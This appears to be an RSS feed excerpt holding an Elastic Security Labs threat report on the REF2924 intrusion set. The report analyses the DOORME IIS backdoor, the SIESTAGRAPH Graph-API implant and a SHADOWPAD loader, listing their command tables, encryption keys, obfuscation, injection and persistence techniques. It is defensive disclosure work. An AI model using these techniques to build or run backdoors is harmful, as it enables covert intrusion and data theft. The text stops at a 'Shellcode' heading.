            <description><![CDATA[Each month, the Elastic Security Labs team dissects a different trend or correlation from the Elastic Global Threat Report. This post provides an overview of those individual publications.]]></description>
            <content:encoded><![CDATA[<p>When we <a href="https://www.elastic.co/cn/security-labs/2022-elastic-global-threat-report-announcement">announced</a> the inaugural Elastic Global Threat Report last year, the Elastic Security Labs team knew we wanted to follow it with a series that went a little deeper on several topics like trends and forecasting. Not only would this allow us to keep the report concise, but it would provide us with a way to be more transparent by diving deep.</p>
<p>This post will be updated with each new article in the series, published monthly:</p>
<ul>
<li><a href="https://www.elastic.co/cn/blog/elastic-global-threat-report-breakdown-defense-evasion">Topic: Defense Evasion</a></li>
<li><a href="https://www.elastic.co/cn/blog/elastic-global-threat-report-breakdown-credential-access">Topic: Credential Access</a></li>
</ul>
<p>In April, we published an <a href="https://ela.st/gtr">updated</a> version of the Global Threat Report Spring Edition which included new insights online and interactive.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/gtr-multipart-series-overview/gtr-blog-image-720x420.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Update to the REF2924 intrusion set and related campaigns]]></title>
            <link>https://www.elastic.co/cn/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</link>
            <guid>update-to-the-REF2924-intrusion-set-and-related-campaigns</guid>
            <pubDate>Tue, 07 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is providing an update to the REF2924 research published in December of 2022. This update includes malware analysis of the implants, additional findings, and associations with other intrusions.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>DOORME is a malicious IIS module that provides remote access to a contested network.</li>
<li>SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.</li>
<li>SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.</li>
<li>REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.</li>
</ul>
<h2>Preamble</h2>
<p>This research highlights the capabilities and observations of the two backdoors, named &quot;DOORME&quot; and &quot;SIESTAGRAPH&quot;, and a backdoor called “SHADOWPAD” that was <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">disclosed by Elastic</a> in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.</p>
<p>DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.</p>
<p>Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.</p>
<blockquote>
<p>Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">previous research into REF2924</a>.</p>
</blockquote>
<h2>DOORME code analysis</h2>
<h3>Introduction to backdoored IIS modules</h3>
<p><a href="https://www.iis.net/">IIS</a>, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.</p>
<p>As an example, a backdoored module that overrides the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>event can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.</p>
<p>Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.</p>
<h3>Introduction to the DOORME IIS module</h3>
<p>DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">first discussed</a> the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.</p>
<p>DOORME uses the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function"><strong>RegisterModule</strong></a> function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class"><strong>CGlobalModule</strong></a>class and its event handler, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method"><strong>OnGlobalPreBeginRequest</strong></a>. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.</p>
<p>This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image33.jpg" alt="Overview diagram of the DOORME backdoor" /></p>
<h3>Obfuscation</h3>
<h4>String obfuscation</h4>
<p>DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image22.jpg" alt="Pseudocode showcasing string obfuscation" /></p>
<h4>Anti-disassembly technique</h4>
<p>The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image14.jpg" alt="Gaps in the assembly view of IDA pro" /></p>
<h4>Control flow obfuscation</h4>
<p>The malware in question also employs a technique known as <a href="https://unprotect.it/technique/obscuring-control-flow/">Control Flow Obfuscation (CFO)</a> to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.</p>
<p>The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image28.jpg" alt="Pseudocode showcasing CFO example" /></p>
<h4>Dynamic import table resolution obfuscation</h4>
<p>Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.</p>
<p>DOORME first resolves the address of <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> Windows API by parsing the <strong>kernel32.dll</strong> module export table, then uses the <strong>GetProcAddress</strong> function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image1.jpg" alt="Pseudocode showcasing import address table resolution" /></p>
<h3>Execution flow</h3>
<h4>Authentication</h4>
<p>The malicious IIS module backdoor operates by looking for the string &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot; (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.</p>
<h4>GET request handling</h4>
<p><strong>GET</strong> requests are used to perform a status check: the malware returns the string “ <strong>It works!”</strong> followed by the <strong>username</strong> and the <strong>hostname</strong> of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image3.jpg" alt="GET request to the backdoor using curl command" /></p>
<h4>POST requests handling</h4>
<p>The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.</p>
<h4>Base64 implementation</h4>
<p>The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is <strong>&quot;VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7&quot;</strong> , while the normal index table used by the Base64 algorithm is <strong>&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</strong>. This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.</p>
<h4>AES algorithm implementation</h4>
<p>The malware uses <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES (Advanced Encryption Standard)</a> in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash &quot; <strong>79cfdd0e92b120faadd7eb253eb800d0</strong>&quot;, as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.</p>
<p>In our case the AES key is “ <strong>5a430ab45c7e142c70018b99fe0d2da3”</strong> and the AES IV is “ <strong>57ce15b304a97772”</strong>.</p>
<h3>Command handling table</h3>
<p>The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the &quot;pipe&quot; symbol( <strong>|</strong> ).</p>
<h4>Command ID 0x42</h4>
<p>The first command implemented has the ID <strong>0x42</strong> and generates a Globally Unique Identifier (GUID) by calling the API <strong>CoCreateGuid</strong>. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image13.jpg" alt="Pseudocode generating the GUID" /></p>
<h4>Command ID 0x43</h4>
<p>Another command, ID <strong>0x43</strong> , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions <strong>NtAllocateVirtualMemory</strong> and <strong>NtCreateThreadEx</strong>.</p>
<p>The <strong>NtAllocateVirtualMemory</strong> function is used to allocate memory in the same process for shellcode, while the <strong>NtCreateThreadEx</strong> function creates an execution thread with shellcode in that newly-allocated memory.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image27.jpg" alt="Pseudocode self-shellcode injection" /></p>
<h4>Command ID 0x63</h4>
<p>Command ID <strong>0x63</strong> allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.</p>
<h4>Command ID 0x44</h4>
<p>Command ID <strong>0x44</strong> provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.</p>
<h3>DOORME Summary</h3>
<p>In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( <strong>w3wp.exe</strong> ), and the creation of new executables.</p>
<h2>SIESTAGRAPH code analysis</h2>
<h3>Introduction to the SIESTAGRAPH implant</h3>
<p>The implant utilizes the <a href="https://learn.microsoft.com/en-us/graph/overview">Microsoft Graph API</a> to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI library</a> which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image11.jpg" alt="Overview diagram of the SIESTAGRAPH implant" /></p>
<h3>Execution flow</h3>
<p>SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.</p>
<p>![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<p>During the setup phase the malware uses the <a href="https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications:~:text=Microsoft%20Office,4102%2Daeff%2Daad2292ab01c">Microsoft Office GUID</a> ( <strong>d3590ed6-52b3-4102-aeff-aad2292ab01c</strong> ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image19.jpg" alt="Request an authentication token" /></p>
<h3>Authentication</h3>
<p>The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image15.jpg" alt="Hard coded tenant and refresh tokens" /></p>
<p>To facilitate this process, the attacker utilized a third-party and legitimate library named <a href="https://github.com/KoenZomers/OneDriveAPI">OneDriveAPI</a>. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image21.jpg" alt="Use of third-party libraries" /></p>
<p>The malware utilizes the <strong>GetAccessTokenFromRefreshToken</strong> method to request an authentication token. This token is then used in all subsequent API requests.</p>
<p>Refresh tokens have a <a href="https://learn.microsoft.com/en-us/microsoft-365/enterprise/session-timeouts?view=o365-worldwide#:~:text=The%20default%20lifetime%20for%20the%20access%20token%20is%201%20hour.%20The%20default%20max%20inactive%20time%20of%20the%20refresh%20token%20is%2090%20days">90-day expiration window</a>. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.</p>
<h3>Command and control</h3>
<p>A session token ( <strong>sessionToken</strong> ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image5.jpg" alt="Defining the session token" /></p>
<p>After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called <strong>sendSession</strong>.</p>
<p>Inspecting the <strong>sendSession</strong> method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image6.jpg" alt="The sendMessage method" /></p>
<p>After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.</p>
<p>When receiving a command, the implant will use the <strong>getMessages</strong> method to check for any draft emails with commands from the attacker.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image9.jpg" alt="The getMessage method" /></p>
<p>With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( <strong>authToken</strong> ). This token is then used in the HTTP request header following the <strong>Authorization: Bearer</strong> ( <strong>“Authorization”, “Bearer “ + authToken</strong> ).</p>
<p>Every call to this method will contain the <strong>sessionToken</strong> , a command, and command arguments, separated with colons ( <strong>:</strong> ) ( <strong><code>&lt;sessionToken&gt;:&lt;Command&gt;:&lt;command arguments&gt;</code></strong> ).</p>
<p>If a command has multiple arguments they will be split by a pipe ( <strong>|</strong> ). An example of this is the <strong>rename</strong> command where the source and destination names are split by a pipe.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image2.jpg" alt="Using a pipe for separating arguments" /></p>
<p>We have identified the following commands:</p>
<table>
<thead>
<tr>
<th>Command text</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>Run a command</td>
</tr>
<tr>
<td>N</td>
<td>Update the amount of time the binary will sleep between check-ins</td>
</tr>
<tr>
<td>D</td>
<td>Upload a file to OneDrive</td>
</tr>
<tr>
<td>U</td>
<td>Download Item from Onedrive</td>
</tr>
<tr>
<td>UU</td>
<td>Check to see is Core.bin exists then Download item from Onedrive</td>
</tr>
<tr>
<td>ListDrives</td>
<td>Send a list of the logical drives</td>
</tr>
<tr>
<td>GetDirectories</td>
<td>Send a list of given subdirectories</td>
</tr>
<tr>
<td>GetFiles</td>
<td>Send a list of files in a given directory</td>
</tr>
<tr>
<td>Del</td>
<td>Delete a given file</td>
</tr>
<tr>
<td>Rename</td>
<td>Rename a given file or directory</td>
</tr>
<tr>
<td>P</td>
<td>Get a list of running processes</td>
</tr>
<tr>
<td>E</td>
<td>Ends the execution of the binary</td>
</tr>
<tr>
<td>K</td>
<td>Kill a given process ID</td>
</tr>
<tr>
<td>S</td>
<td>Update the amount of time the binary will sleep between check-ins (same as N)</td>
</tr>
<tr>
<td>NET</td>
<td>Get network information</td>
</tr>
<tr>
<td>SS</td>
<td>Take a screenshot</td>
</tr>
</tbody>
</table>
<p>Several commands are self-explanatory ( <strong>ListDrives</strong> , <strong>Rename</strong> , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.</p>
<h4>C - run command</h4>
<p>When the <strong>C</strong> command is received the malware runs the <strong>runCommand</strong> method. This method takes in the name of <strong>cmd.exe</strong> , the command line to run, and the number of milliseconds to wait for the new process to exit.</p>
<p>If the command parameter is not null or empty, the method proceeds to create a new instance of the <strong>System.Diagnostics.Process</strong> class, which is used to start and interact with a new process. It sets the properties of the process instance's <strong>StartInfo</strong> property, which is of the <strong>ProcessStartInfo</strong> class, such as the <strong>FileName</strong> property to the <strong>cmd</strong> parameter passed to the method, the <strong>Arguments</strong> property to <strong>/c</strong> concatenated with the command parameter, and also sets <strong>UseShellExecute</strong> , <strong>RedirectStandardInput</strong> , <strong>RedirectStandardOutput</strong> , <strong>RedirectStandardError,</strong> and <strong>CreateNoWindow</strong> property. As this method is only called with the hard coded value of <strong>cmd</strong> for the <strong>cmd</strong> parameter, the resulting command will always be <strong><code>cmd /c &lt;command to run&gt;</code></strong>. This is a common way to run commands if one does not have direct access to an interactive shell.</p>
<p>![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg</p>
<h4>N - Sleep timer update</h4>
<p>The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the <strong>SleepTimer</strong> variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image4.jpg" alt="Updating the SleepTimer" /></p>
<h4>D - Upload to OneDrive</h4>
<p>The <strong>D</strong> command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive</p>
<p>The method receives a <strong>filePath</strong> , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format <strong>OK|C:\foo\file.txt</strong>.</p>
<p>If the upload did not succeed the attacker will receive the error message <strong><code>OK|&lt;Error message&gt;</code></strong>.</p>
<p>While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#exporting-exchange-mailboxes">exported Exchange mailboxes</a> were collected by the threat actor.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image20.jpg" alt="The uploadFile method" /></p>
<h4>U - Download from OneDrive</h4>
<p>The download function is similar to the upload function. Again, from the attacker's perspective, the <strong>U</strong> command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.</p>
<h4>NET - Gather network information</h4>
<p>The <strong>NET</strong> command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, <strong>Ws2_32.dll</strong> (the Windows socket API) and <strong>iphlpapi.dll</strong> (the Windows IP helper API).</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image29.jpg" alt="Revolve functions from Ws2_32.dll and iphlpapi.dll" /></p>
<p>The <strong>NET</strong> command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.</p>
<h4>SS - Take screenshot</h4>
<p>To see the victim's desktop, SIESTAGRAPH can call the method named <strong>TakeScreenShot</strong> which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image16.jpg" alt="The TakeScreenShot method" /></p>
<p>This function creates a new <strong>Bitmap</strong> object with the width and height of the primary screen's bounds. Then it creates a new <strong>Graphics</strong> object from the <strong>Bitmap</strong> object and uses the <strong>CopyFromScreen</strong> function to take a screenshot and copy it to the <strong>Graphics</strong> object.</p>
<p>It then creates a new <strong>MemoryStream</strong> object and uses the <strong>Save</strong> method of the <strong>Bitmap</strong> object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the <strong>Convert.ToBase64String</strong> method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.</p>
<h3>SIESTAGRAPH Summary</h3>
<p>SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.</p>
<h2>SHADOWPAD loader code analysis</h2>
<h3>Introduction to log.dll</h3>
<p>When Elastic Security Labs <a href="https://www.elastic.co/cn/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry#dll-side-loading">disclosed</a> REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">SHADOWPAD</a> malware family.</p>
<p>The DLL, <strong>log.dll</strong> , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: <strong>BDReinit.exe</strong> ), named <strong>13802 AR.exe</strong> (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as <strong>svchost.exe</strong> before installing itself as a service. Once <strong>log.dll</strong> is loaded, it will spawn Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.</p>
<p>At runtime, <strong>log.dll</strong> looks for the <strong>log.dll.dat</strong> file which contains the shellcode to be executed. Then <strong>log.dll</strong> will encrypt and store the <strong>shellcode</strong> in the registry and shred the original <strong>log.dll.dat</strong> file. If the file doesn’t exist it will skip this part.</p>
<p>Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.</p>
<h3>Execution flow</h3>
<p>Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender <strong>BDReinit.exe</strong> binary. The offset to the trampoline (<a href="https://gcc.gnu.org/onlinedocs/gcc-4.7.1/gccint/Trampolines.html">jump instructions</a>) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( <strong>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</strong> ). This side-loading behavior was previously <a href="https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/">reported</a> by Positive Technologies.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image30.jpg" alt="log.dll’s hard coded offsets to BDReinit.exe" /></p>
<p>For our analysis, we patched <strong>log.dll</strong> to execute without the BitDefender sideloading requirement.</p>
<h3>Capabilities</h3>
<h4>Obfuscation</h4>
<p>The <strong>log.dll</strong> uses two lure functions to bypass automatic analysis.</p>
<p>We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image8.jpg" alt="log.dll’s lure functions" /></p>
<p><strong>log.dll</strong> incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.</p>
<p>This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image12.jpg" alt="Obfuscated function prologue 1/2" /></p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image24.jpg" alt="Obfuscated function prologue 2/2" /></p>
<p>The resolver function of each call resolves the address of the next gadget and passes execution.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image10.jpg" alt="Resolver function computing the next gadget address" /></p>
<p>The obfuscation pattern is simple and a trace can be used to recover the original instructions:</p>
<pre><code>**result = []
for i, x in enumerate(trace):
 if &quot;ret&quot; in x:
 result.append(trace[i + 1])**
</code></pre>
<h4>API loading</h4>
<p>The sample uses the common <a href="https://0xevilc0de.com/2018/02/25/locating-dll-name-from-the-process-environment-block-peb/">Ldr crawling technique</a> to find the address of <strong>kernel32.dll.</strong></p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image17.jpg" alt="Searching for the process module list in the PEB’s Ldr" /></p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image18.jpg" alt="Searching for kernel32.dll by name in the module list" /></p>
<p>Next, <strong>log.dll</strong> parses the exports of <strong>kernel32.dll</strong> to get the address of the <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong> functions. It uses <strong>GetProcAddress</strong> to resolve imports as needed.</p>
<h4>Persistence</h4>
<p>The sample expects to find a file called <strong>log.dll.dat</strong> in its root directory using the <strong>FindFirstFile</strong> and <strong>FindNextFile</strong> APIs. Once <strong>log.dll.dat</strong> is located, it is loaded, encrypted, and stored in the registry under the <strong><code>HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\}</code></strong> registry value.</p>
<p>This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image31.jpg" alt="Payload is stored encrypted in the registry" /></p>
<p>Once the contents of <strong>log.dll.dat</strong> have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.</p>
<h4>Shellcode</h4>
